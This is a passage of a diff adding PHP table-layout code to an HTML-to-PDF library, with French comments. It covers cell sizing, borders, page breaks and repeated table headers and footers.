+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+
+			if ($this->style->value['margin-auto']) $align_object = 'center';
+
+			// est-on en collapse
+			$collapse = false;			
+			if ($other=='table')
+				$collapse = isset($this->style->value['border']['collapse']) ? $this->style->value['border']['collapse'] : false;
+
+			// si oui il faut adapté les borders
+			if ($collapse)
+			{
+				$param['style']['border'] = 'none';
+				$param['cellspacing'] = 0;
+				$none = $this->style->readBorder('none');
+				$this->style->value['border']['t'] = $none;
+				$this->style->value['border']['r'] = $none;
+				$this->style->value['border']['b'] = $none;
+				$this->style->value['border']['l'] = $none;
+			}				
+			
+			// si on est en mode sub_html : initialisation des dimensions et autres 
+			if ($this->sub_part)
+			{
+				$HTML2PDF_TABLEAU[$param['num']] = array();
+				$HTML2PDF_TABLEAU[$param['num']]['cellpadding']	= $this->style->ConvertToMM(isset($param['cellpadding']) ? $param['cellpadding'] : '1px'); // cellpadding du tableau
+				$HTML2PDF_TABLEAU[$param['num']]['cellspacing']	= $this->style->ConvertToMM(isset($param['cellspacing']) ? $param['cellspacing'] : '2px'); // cellspacing du tableau
+				$HTML2PDF_TABLEAU[$param['num']]['cases']		= array();				// liste des propriétés des cases
+				$HTML2PDF_TABLEAU[$param['num']]['td_curr']		= 0;					// colonne courante
+				$HTML2PDF_TABLEAU[$param['num']]['tr_curr']		= 0;					// ligne courante
+				$HTML2PDF_TABLEAU[$param['num']]['curr_x']		= $this->pdf->getX();	// position courante X
+				$HTML2PDF_TABLEAU[$param['num']]['curr_y']		= $this->pdf->getY();	// position courante Y
+				$HTML2PDF_TABLEAU[$param['num']]['width']		= 0;					// largeur globale
+				$HTML2PDF_TABLEAU[$param['num']]['height']		= 0;					// hauteur globale
+				$HTML2PDF_TABLEAU[$param['num']]['align']		= $align_object;
+				$HTML2PDF_TABLEAU[$param['num']]['marge']		= array();
+				$HTML2PDF_TABLEAU[$param['num']]['marge']['t']	= $this->style->value['padding']['t']+$this->style->value['border']['t']['width']+$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5;
+				$HTML2PDF_TABLEAU[$param['num']]['marge']['r']	= $this->style->value['padding']['r']+$this->style->value['border']['r']['width']+$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5;
+				$HTML2PDF_TABLEAU[$param['num']]['marge']['b']	= $this->style->value['padding']['b']+$this->style->value['border']['b']['width']+$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5;
+				$HTML2PDF_TABLEAU[$param['num']]['marge']['l']	= $this->style->value['padding']['l']+$this->style->value['border']['l']['width']+$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5;
+				$HTML2PDF_TABLEAU[$param['num']]['page']		= 0;					// nombre de pages
+				$HTML2PDF_TABLEAU[$param['num']]['new_page']	= true;					// nouvelle page pour le TR courant
+				$HTML2PDF_TABLEAU[$param['num']]['style_value'] = null;					// style du tableau
+				$HTML2PDF_TABLEAU[$param['num']]['thead']		= array();				// infos sur le thead
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']		= array();				// infos sur le tfoot
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['tr']	= array();				// tr du thead
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr']	= array();				// tr du tfoot
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['height']	= 0;				// hauteur du thead
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['height']	= 0;				// hauteur du tfoot
+				$HTML2PDF_TABLEAU[$param['num']]['thead']['code'] = array();			// contenu HTML du thead
+				$HTML2PDF_TABLEAU[$param['num']]['tfoot']['code'] = array();			// contenu HTML du tfoot
+				
+				$this->saveMargin($this->pdf->lMargin, $this->pdf->tMargin, $this->pdf->rMargin);
+				
+				// adaptation de la largeur en fonction des marges du tableau
+				$this->style->value['width']-= $HTML2PDF_TABLEAU[$param['num']]['marge']['l'] + $HTML2PDF_TABLEAU[$param['num']]['marge']['r'];
+			}
+			else
+			{
+				// on repart à la premiere page du tableau et à la premiere case
+				$HTML2PDF_TABLEAU[$param['num']]['page'] = 0;
+				$HTML2PDF_TABLEAU[$param['num']]['td_curr']	= 0;
+				$HTML2PDF_TABLEAU[$param['num']]['tr_curr']	= 0;
+				$HTML2PDF_TABLEAU[$param['num']]['td_x']		= $HTML2PDF_TABLEAU[$param['num']]['marge']['l']+$HTML2PDF_TABLEAU[$param['num']]['curr_x'];
+				$HTML2PDF_TABLEAU[$param['num']]['td_y']		= $HTML2PDF_TABLEAU[$param['num']]['marge']['t']+$HTML2PDF_TABLEAU[$param['num']]['curr_y'];				
+
+				// initialisation du style des bordures de la premiere partie de tableau
+				$this->Rectangle(
+						$HTML2PDF_TABLEAU[$param['num']]['curr_x'],
+						$HTML2PDF_TABLEAU[$param['num']]['curr_y'],
+						$HTML2PDF_TABLEAU[$param['num']]['width'],
+						isset($HTML2PDF_TABLEAU[$param['num']]['height'][0]) ? $HTML2PDF_TABLEAU[$param['num']]['height'][0] : null,
+						$this->style->value['border'],
+						$this->style->value['padding'],
+						0,
+						$this->style->value['background']
+					);
+
+				$HTML2PDF_TABLEAU[$param['num']]['style_value'] = $this->style->value;
+			}
+		}
+
+		/**
+		* balise : TABLE
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TABLE($param)
+		{
+			$this->maxH = 0;
+			global $HTML2PDF_TABLEAU; 
+
+			// restauration du style
+			$this->style->load();
+			$this->style->FontSet();
+
+			// si on est en mode sub_html : initialisation des dimensions et autres 
+			if ($this->sub_part)
+			{
+				// ajustement de la taille des cases
+				$this->calculTailleCases($HTML2PDF_TABLEAU[$param['num']]['cases']);
+
+				// calcul de la hauteur du THEAD et du TFOOT
+				$lst = array('thead', 'tfoot');
+				foreach($lst as $mode)
+				{
+					$HTML2PDF_TABLEAU[$param['num']][$mode]['height'] = 0;
+					foreach($HTML2PDF_TABLEAU[$param['num']][$mode]['tr'] as $tr)
+					{
+						// hauteur de la ligne tr
+						$h = 0;
+						for($i=0; $i<count($HTML2PDF_TABLEAU[$param['num']]['cases'][$tr]); $i++)
+							if ($HTML2PDF_TABLEAU[$param['num']]['cases'][$tr][$i]['rowspan']==1)
+								$h = max($h, $HTML2PDF_TABLEAU[$param['num']]['cases'][$tr][$i]['h']);
+						$HTML2PDF_TABLEAU[$param['num']][$mode]['height']+= $h;	
+					}
+				}
+
+				// calcul des dimensions du tableau - Largeur
+				$HTML2PDF_TABLEAU[$param['num']]['width'] = $HTML2PDF_TABLEAU[$param['num']]['marge']['l'] + $HTML2PDF_TABLEAU[$param['num']]['marge']['r'];
+				if (isset($HTML2PDF_TABLEAU[$param['num']]['cases'][0]))
+					foreach($HTML2PDF_TABLEAU[$param['num']]['cases'][0] as $case)
+						$HTML2PDF_TABLEAU[$param['num']]['width']+= $case['w'];
+
+				// positionnement du tableau horizontalement;
+				$old = isset($this->style->table[count($this->style->table)-1]) ? $this->style->table[count($this->style->table)-1] : $this->style->value;
+				$parent_w = $old['width'] ? $old['width'] : $this->pdf->w - $this->pdf->lMargin - $this->pdf->rMargin;
+				$x = $HTML2PDF_TABLEAU[$param['num']]['curr_x'];
+				$w = $HTML2PDF_TABLEAU[$param['num']]['width'];
+				if ($parent_w>$w)
+				{
+					if ($HTML2PDF_TABLEAU[$param['num']]['align']=='center')
+						$x = $x + ($parent_w-$w)*0.5;
+					else if ($HTML2PDF_TABLEAU[$param['num']]['align']=='right')
+						$x = $x + $parent_w-$w;
+
+					$HTML2PDF_TABLEAU[$param['num']]['curr_x'] = $x;
+				}					
+
+
+				// calcul des dimensions du tableau - hauteur du tableau sur chaque page
+				$HTML2PDF_TABLEAU[$param['num']]['height'] = array();
+
+				$h0 = $HTML2PDF_TABLEAU[$param['num']]['marge']['t'] + $HTML2PDF_TABLEAU[$param['num']]['marge']['b'];	// minimum de hauteur à cause des marges
+				$h0+= $HTML2PDF_TABLEAU[$param['num']]['thead']['height'] + $HTML2PDF_TABLEAU[$param['num']]['tfoot']['height']; // et du tfoot et thead
+				$max = $this->pdf->h - $this->pdf->bMargin;			// max de hauteur par page
+				$y = $HTML2PDF_TABLEAU[$param['num']]['curr_y'];	// position Y actuelle
+				$height = $h0;
+				
+				// on va lire les hauteurs de chaque ligne, une à une, et voir si ca rentre sur la page.
+				for($k=0; $k<count($HTML2PDF_TABLEAU[$param['num']]['cases']); $k++)
+				{
+					// si c'est des lignes du thead ou du tfoot : on passe
+					if (in_array($k, $HTML2PDF_TABLEAU[$param['num']]['thead']['tr'])) continue;
+					if (in_array($k, $HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'])) continue;
+
+					// hauteur de la ligne $k
+					$th = 0;
+					$h = 0;
+					for($i=0; $i<count($HTML2PDF_TABLEAU[$param['num']]['cases'][$k]); $i++)
+					{
+						$h = max($h, $HTML2PDF_TABLEAU[$param['num']]['cases'][$k][$i]['h']);
+						
+						if ($HTML2PDF_TABLEAU[$param['num']]['cases'][$k][$i]['rowspan']==1)
+							$th = max($th, $HTML2PDF_TABLEAU[$param['num']]['cases'][$k][$i]['h']);
+					}
+			
+					// si la ligne ne rentre pas dans la page
+					// => la hauteur sur cette page est trouvée, et on passe à la page d'apres
+					if ($y+$h+$height>$max)
+					{
+						if ($height==$h0) $height = null;
+						$HTML2PDF_TABLEAU[$param['num']]['height'][] = $height;
+						$height = $h0;						
+						$y = $this->margeTop;
+					}
+					$height+= $th;
+				}
+				// rajout du reste de tableau (si il existe) à la derniere page
+				if ($height!=$h0 || $k==0) $HTML2PDF_TABLEAU[$param['num']]['height'][] = $height;
+			}
+			else
+			{
+				if (count($HTML2PDF_TABLEAU[$param['num']]['tfoot']['code']))
+				{
+					$tmp_tr = $HTML2PDF_TABLEAU[$param['num']]['tr_curr'];
+					$tmp_td = $HTML2PDF_TABLEAU[$param['num']]['td_curr'];
+					$OLD_parse_pos = $this->parse_pos;
+					$OLD_parse_code = $this->parsing->code;
+					
+					$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'][0];
+					$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = 0;
+					$this->parse_pos = 0;
+					$this->parsing->code = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['code'];
+					$this->MakeHTMLcode();
+					
+					$this->parse_pos = 	$OLD_parse_pos;
+					$this->parsing->code = $OLD_parse_code;
+					$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $tmp_tr;
+					$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = $tmp_td;
+				}
+					
+				// determination des coordonnées de sortie du tableau
+				$x = $HTML2PDF_TABLEAU[$param['num']]['curr_x'] + $HTML2PDF_TABLEAU[$param['num']]['width'];
+				if (count($HTML2PDF_TABLEAU[$param['num']]['height'])>1)
+					$y = $this->margeTop+$HTML2PDF_TABLEAU[$param['num']]['height'][count($HTML2PDF_TABLEAU[$param['num']]['height'])-1];
+				else if (count($HTML2PDF_TABLEAU[$param['num']]['height'])==1)
+					$y = $HTML2PDF_TABLEAU[$param['num']]['curr_y']+$HTML2PDF_TABLEAU[$param['num']]['height'][count($HTML2PDF_TABLEAU[$param['num']]['height'])-1];
+				else
+					$y = $HTML2PDF_TABLEAU[$param['num']]['curr_y'];					
+
+				// restauration des marges
+				$this->loadMargin();
+				
+				// position de sortie du tableau
+				$this->pdf->setX($x);
+				$this->pdf->setY($y);
+				$this->maxX = max($this->maxX, $x);
+				$this->maxY = max($this->maxY, $y);
+			}
+		}
+
+		/**
+		* balise : TR
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TR($param, $other = 'tr')
+		{
+			$this->maxH = 0;
+			global $HTML2PDF_TABLEAU; 
+
+			// analyse du style
+			$this->style->save();
+			$this->style->analyse($other, $param);
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			// positionnement dans le tableau
+			$HTML2PDF_TABLEAU[$param['num']]['tr_curr']++;
+			$HTML2PDF_TABLEAU[$param['num']]['td_curr']= 0;
+			
+			// si on est pas dans un sub_html
+			if (!$this->sub_part)
+			{
+				// Y courant apres la ligne
+				$ty=null;
+				for($ii=0; $ii<count($HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1]); $ii++)
+					$ty = max($ty, $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$ii]['h']);	
+				
+				$hfoot = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['height'];
+				
+				// si la ligne ne rentre pas dans la page => nouvelle page
+				if (!$this->isInTfoot && $HTML2PDF_TABLEAU[$param['num']]['td_y'] + $HTML2PDF_TABLEAU[$param['num']]['marge']['b'] + $ty +$hfoot> $this->pdf->h - $this->pdf->bMargin)
+				{
+					if (count($HTML2PDF_TABLEAU[$param['num']]['tfoot']['code']))
+					{
+						$tmp_tr = $HTML2PDF_TABLEAU[$param['num']]['tr_curr'];
+						$tmp_td = $HTML2PDF_TABLEAU[$param['num']]['td_curr'];
+						$OLD_parse_pos = $this->parse_pos;
+						$OLD_parse_code = $this->parsing->code;
+						
+						$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['tr'][0];
+						$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = 0;
+						$this->parse_pos = 0;
+						$this->parsing->code = $HTML2PDF_TABLEAU[$param['num']]['tfoot']['code'];
+						$this->isInTfoot = true;
+						$this->MakeHTMLcode();
+						$this->isInTfoot = false;
+						
+						$this->parse_pos = 	$OLD_parse_pos;
+						$this->parsing->code = $OLD_parse_code;
+						$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $tmp_tr;
+						$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = $tmp_td;
+					}
+					
+					$HTML2PDF_TABLEAU[$param['num']]['new_page'] = true;
+					$this->setNewPage();
+
+					$HTML2PDF_TABLEAU[$param['num']]['page']++;
+					$HTML2PDF_TABLEAU[$param['num']]['curr_y'] = $this->pdf->getY();
+					$HTML2PDF_TABLEAU[$param['num']]['td_y'] = $HTML2PDF_TABLEAU[$param['num']]['curr_y']+$HTML2PDF_TABLEAU[$param['num']]['marge']['t'];
+
+					// si la hauteur de cette partie a bien été calculée, on trace le cadre
+					if (isset($HTML2PDF_TABLEAU[$param['num']]['height'][$HTML2PDF_TABLEAU[$param['num']]['page']]))
+					{
+						$old = $this->style->value;
+						$this->style->value = $HTML2PDF_TABLEAU[$param['num']]['style_value'];
+
+						// initialisation du style des bordures de la premiere partie de tableau
+						$this->Rectangle(
+								$HTML2PDF_TABLEAU[$param['num']]['curr_x'],
+								$HTML2PDF_TABLEAU[$param['num']]['curr_y'],
+								$HTML2PDF_TABLEAU[$param['num']]['width'],
+								$HTML2PDF_TABLEAU[$param['num']]['height'][$HTML2PDF_TABLEAU[$param['num']]['page']],
+								$this->style->value['border'],
+								$this->style->value['padding'],
+								$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5,
+								$this->style->value['background']
+							);
+											 
+						$this->style->value = $old;
+					}
+				}
+				
+				if ($HTML2PDF_TABLEAU[$param['num']]['new_page'] && count($HTML2PDF_TABLEAU[$param['num']]['thead']['code']))
+				{
+					$HTML2PDF_TABLEAU[$param['num']]['new_page'] = false;
+					$tmp_tr = $HTML2PDF_TABLEAU[$param['num']]['tr_curr'];
+					$tmp_td = $HTML2PDF_TABLEAU[$param['num']]['td_curr'];
+					$OLD_parse_pos = $this->parse_pos;
+					$OLD_parse_code = $this->parsing->code;
+					
+					$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $HTML2PDF_TABLEAU[$param['num']]['thead']['tr'][0];
+					$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = 0;
+					$this->parse_pos = 0;
+					$this->parsing->code = $HTML2PDF_TABLEAU[$param['num']]['thead']['code'];
+					$this->MakeHTMLcode();
+					
+					$this->parse_pos = 	$OLD_parse_pos;
+					$this->parsing->code = $OLD_parse_code;
+					$HTML2PDF_TABLEAU[$param['num']]['tr_curr'] = $tmp_tr;
+					$HTML2PDF_TABLEAU[$param['num']]['td_curr'] = $tmp_td;
+					$HTML2PDF_TABLEAU[$param['num']]['new_page'] = true;
+				}
+			}
+			else
+			{
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1] = array();
+			}							
+		}
+
+		/**
+		* balise : TR
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TR($param)
+		{
+			$this->maxH = 0;
+			global $HTML2PDF_TABLEAU; 
+
+			// restauration du style
+			$this->style->load();
+			$this->style->FontSet();			
+
+			// si on est pas dans un sub_html
+			if (!$this->sub_part)
+			{
+				// Y courant apres la ligne
+				$ty=null;
+				for($ii=0; $ii<count($HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1]); $ii++)
+					if ($HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$ii]['rowspan']==1)
+						$ty = $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$ii]['h'];	
+
+				// mise à jour des coordonnées courantes
+				$HTML2PDF_TABLEAU[$param['num']]['td_x'] = $HTML2PDF_TABLEAU[$param['num']]['curr_x']+$HTML2PDF_TABLEAU[$param['num']]['marge']['l'];
+				$HTML2PDF_TABLEAU[$param['num']]['td_y']+= $ty;
+				$HTML2PDF_TABLEAU[$param['num']]['new_page'] = false;
+			}
+		}
+
+		/**
+		* balise : TD
+		* mode : OUVERTURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function o_TD($param, $other = 'td')
+		{
+			$this->maxH = 0;
+			global $HTML2PDF_TABLEAU; 
+
+			$param['cellpadding'] = $HTML2PDF_TABLEAU[$param['num']]['cellpadding'].'mm';
+			$param['cellspacing'] = $HTML2PDF_TABLEAU[$param['num']]['cellspacing'].'mm';
+			
+			if ($other=='li')
+			{
+				$special_li = true;
+			}
+			else
+			{
+				$special_li = false;
+				if ($other=='li_sub')
+				{
+					$param['style']['border'] = 'none';
+					$param['style']['background-color']		= 'transparent';
+					$param['style']['background-image']		= 'none';
+					$param['style']['background-position']	= '';
+					$param['style']['background-repeat']	= '';
+					$other = 'li';
+				}
+			}
+
+			// est-on en collapse
+			$collapse = false;
+			if (in_array($other, array('td', 'th')))
+				$collapse = isset($this->style->value['border']['collapse']) ? $this->style->value['border']['collapse'] : false;
+
+
+			// analyse du style
+			$this->style->save();
+			$this->style->analyse($other, $param);
+
+			if ($special_li)
+			{
+				$this->style->value['width']-= $this->style->ConvertToMM($this->listeGetWidth());
+				$this->style->value['width']-= $this->style->ConvertToMM($this->listeGetPadding());
+			}
+			$this->style->setPosition($this->pdf->x, $this->pdf->y);
+			$this->style->FontSet();
+			
+			// si on est en collapse : modification du style
+			if ($collapse)
+			{
+				if (!$this->sub_part)
+				{
+					if ($HTML2PDF_TABLEAU[$param['num']]['tr_curr']>1 && !$HTML2PDF_TABLEAU[$param['num']]['new_page'])
+						$this->style->value['border']['t'] = $this->style->readBorder('none');				
+				}
+			
+				if ($HTML2PDF_TABLEAU[$param['num']]['td_curr']>0)
+					$this->style->value['border']['l'] = $this->style->readBorder('none');	
+			}	
+			
+			$marge = array();
+			$marge['t'] = $this->style->value['padding']['t']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['t']['width'];
+			$marge['r'] = $this->style->value['padding']['r']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['r']['width'];
+			$marge['b'] = $this->style->value['padding']['b']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['b']['width'];
+			$marge['l'] = $this->style->value['padding']['l']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['l']['width'];
+
+			// si on est dans un sub_html
+			if ($this->sub_part)
+			{
+				// on se positionne dans le tableau
+				$HTML2PDF_TABLEAU[$param['num']]['td_curr']++;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1] = array();
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['w'] = 0;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['h'] = 0;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['dw'] = 0;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['colspan'] = isset($param['colspan']) ? $param['colspan'] : 1;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['rowspan'] = isset($param['rowspan']) ? $param['rowspan'] : 1;
+
+				// on extrait tout ce qui est contenu dans le TD				
+				$res = $this->parsing->getLevel($this->temp_pos);
+				
+				// on en créé un sous HTML que l'on transforme en PDF
+				// pour analyse les dimensions
+				// et les récupérer dans le tableau global.
+				$this->CreateSubHTML($this->sub_html);
+				$this->sub_html->writeHTML($res[1]);
+				$this->temp_pos = $res[0]-2;
+			}
+			else
+			{
+				// on se positionne dans le tableau
+				$HTML2PDF_TABLEAU[$param['num']]['td_curr']++;
+				$HTML2PDF_TABLEAU[$param['num']]['td_x']+= $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['dw'];
+				
+				// initialisation du style des bordures de la premiere partie de tableau
+				$this->Rectangle(
+						$HTML2PDF_TABLEAU[$param['num']]['td_x'],
+						$HTML2PDF_TABLEAU[$param['num']]['td_y'],
+						$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['w'],
+						$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['h'],
+						$this->style->value['border'],
+						$this->style->value['padding'],
+						$HTML2PDF_TABLEAU[$param['num']]['cellspacing']*0.5,
+						$this->style->value['background']
+					);
+				
+
+				$this->style->value['width'] = $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['w'] - $marge['l'] - $marge['r'];
+
+				// limitation des marges aux dimensions de la case
+				$mL = $HTML2PDF_TABLEAU[$param['num']]['td_x']+$marge['l'];
+				$mR = $this->pdf->w - $mL - $this->style->value['width'];
+				$this->saveMargin($mL, 0, $mR);
+				
+				// positionnement en fonction
+				$h_corr = $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['h'];
+				$h_reel = $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['real_h'];
+				switch($this->style->value['vertical-align'])
+				{
+					case 'bottom':
+						$y_corr = $h_corr-$h_reel;
+						break;
+						
+					case 'middle':
+						$y_corr = ($h_corr-$h_reel)*0.5;
+						break;
+						
+					case 'top':
+					default:
+						$y_corr = 0;
+						break;	
+				}
+
+				$this->pdf->setX($HTML2PDF_TABLEAU[$param['num']]['td_x']+$marge['l']);
+				$this->pdf->setY($HTML2PDF_TABLEAU[$param['num']]['td_y']+$marge['t']+$y_corr);
+			}
+		}
+
+		/**
+		* balise : TD
+		* mode : FERMETURE
+		* 
+		* @param	array	paramètres de l'élément de parsing
+		* @return	null
+		*/	
+		function c_TD($param)
+		{
+			$this->maxH = 0;
+			global $HTML2PDF_TABLEAU; 
+
+			// récupération de la marge
+			$marge = array();
+			$marge['t'] = $this->style->value['padding']['t']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['t']['width'];
+			$marge['r'] = $this->style->value['padding']['r']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['r']['width'];
+			$marge['b'] = $this->style->value['padding']['b']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['b']['width'];
+			$marge['l'] = $this->style->value['padding']['l']+0.5*$HTML2PDF_TABLEAU[$param['num']]['cellspacing']+$this->style->value['border']['l']['width'];
+			$marge['t']+= 0.01;
+			$marge['r']+= 0.01;
+			$marge['b']+= 0.01;
+			$marge['l']+= 0.01;
+
+			// si on est dans un sub_html
+			if ($this->sub_part)
+			{
+				if ($this->testTDin1page && $this->sub_html->pdf->page>1) HTML2PDF::makeError(7, __FILE__, __LINE__); 
+				
+				// dimentions de cette case
+				$w0 = $this->sub_html->maxX + $marge['l'] + $marge['r'];
+				$h0 = $this->sub_html->maxY + $marge['t'] + $marge['b'];
+	
+				// dimensions imposées par le style
+				$w2 = $this->style->value['width'] + $marge['l'] + $marge['r'];
+				$h2 = $this->style->value['height'] + $marge['t'] + $marge['b'];
+	
+				// dimension finale de la case = max des 2 ci-dessus
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['w'] = max(array($w0, $w2));
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['h'] = max(array($h0, $h2));
+
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['real_w'] = $w0;
+				$HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['real_h'] = $h0;
+
+				// suppresion du sous_html
+				$this->DestroySubHTML();
+			}
+			else
+			{
+				$this->loadMargin();
+				//positionnement
+				$HTML2PDF_TABLEAU[$param['num']]['td_x']+= $HTML2PDF_TABLEAU[$param['num']]['cases'][$HTML2PDF_TABLEAU[$param['num']]['tr_curr']-1][$HTML2PDF_TABLEAU[$param['num']]['td_curr']-1]['w'];
+			}
+
+			// restauration du style
+			$this->style->load();
+			$this->style->FontSet();	
+		}
+		
+		function calculTailleCases(&$cases)
+		{
+			// construction d'un tableau de correlation
+			$corr = array();
+
+			// on fait correspondre chaque case d'un tableau normé aux cases réelles, en prennant en compte les colspan et rowspan
+			$Yr=0;
+			for($y=0; $y<count($cases); $y++)
+			{
+				$Xr=0; 	while(isset($corr[$Yr][$Xr])) $Xr++;
+				
+				for($x=0; $x<count($cases[$y]); $x++)
+				{
+					for($j=0; $j<$cases[$y][$x]['rowspan']; $j++)
+					{
+						for($i=0; $i<$cases[$y][$x]['colspan']; $i++)
+						{
+							$corr[$Yr+$j][$Xr+$i] = ($i+$j>0) ? '' : array($x, $y, $cases[$y][$x]['colspan'], $cases[$y][$x]['rowspan']);
+						}
+					}
+					$Xr+= $cases[$y][$x]['colspan'];
+					while(isset($corr[$Yr][$Xr])) $Xr++;
+				}
+				$Yr++;
+			}
+			
+			if (!isset($corr[0])) return true;
+			
+			// on détermine, pour les cases sans colspan, la largeur maximale de chaque colone
+			$sw = array();
+			for($x=0; $x<count($corr[0]); $x++)
+			{
+				$m=0;
+				for($y=0; $y<count($corr); $y++)
+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]) && $corr[$y][$x][2]==1)
+						$m = max($m, $cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w']);				
+				$sw[$x] = $m;	
+			}
+
+			// on vérifie que cette taille est valide avec les colones en colspan
+			for($x=0; $x<count($corr[0]); $x++)
+			{
+				for($y=0; $y<count($corr); $y++)
+				{
+					if (isset($corr[$y][$x]) && is_array($corr[$y][$x]) && $corr[$y][$x][2]>1)
+					{
+						// somme des colonnes correspondant au colspan
+						$s = 0; for($i=0; $i<$corr[$y][$x][2]; $i++) $s+= $sw[$x+$i];
+						
+						// si la somme est inférieure à la taille necessaire => règle de 3 pour adapter
+						if ($s>0 && $s<$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w'])
+							for($i=0; $i<$corr[$y][$x][2]; $i++)
+								$sw[$x+$i] = $sw[$x+$i]/$s*$cases[$corr[$y][$x][1]][$corr[$y][$x][0]]['w'];
+					}
+				}
+			}
+
+			// on applique les nouvelles largeurs
+			for($x=0; $x<count($corr[0]); $x++)
+			{
+				for($y=0; $y<count($corr); $y++)
+				{
